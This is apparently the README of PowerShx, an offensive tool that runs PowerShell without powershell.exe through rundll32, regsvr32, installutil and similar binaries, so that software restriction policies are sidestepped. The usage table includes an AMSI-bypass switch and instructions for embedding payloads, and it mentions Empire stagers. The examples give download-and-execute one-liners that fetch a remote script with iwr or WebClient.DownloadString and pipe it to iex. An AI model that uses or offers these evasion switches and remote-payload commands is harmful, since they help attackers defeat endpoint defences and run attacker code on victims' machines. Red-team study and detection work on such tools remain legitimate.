PowerShx - Run Powershell Without Software Restrictions


Unmanaged PowerShell execution using DLLs or a standalone executable.


Introduction

PowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets.


Features
  • Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe.
  • Run Powershell without powershell.exe or powershell_ise.exe
  • AMSI Bypass features.
  • Run Powershell scripts directly from the command line or Powershell files
  • Import Powershell modules and execute Powershell Cmdlets.

Usage

.dll version

rundll32
rundll32 PowerShx.dll,main -e                           <PS script to run>rundll32 PowerShx.dll,main -f <path>                    Run the script passed as argumentrundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>     Load a script and run a PS cmdletrundll32 PowerShx.dll,main -w                           Start an interactive console in a new windowrundll32 PowerShx.dll,main -i                           Start an interactive consolerundll32 PowerShx.dll,main -s                           Attempt to bypass AMSIrundll32 PowerShx.dll,main -v                           Print Execution Output to the console

.exe version
PowerShx.exe -i                          Start an interactive consolePowerShx.exe -e                          <PS script to run>PowerShx.exe -f <path>                   Run the script passed as argumentPowerShx.exe -f <path> -c <PS Cmdlet>    Load a script and run a PS cmdletPowerShx.exe -s                          Attempt to bypass AMSI.

Embedded payloads

Payloads can be embedded by updating the data dictionary "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method:

private void Handle(Options options){  // Pre-execution before user script  _ps.Exe(Payloads.PayloadDict["amsi"]);}

Examples

Run a base64 encoded script
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iexPowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode


Run a base64 encoded script
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

Requirements

.NET 4


Known Issues

Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.

In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.

Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.
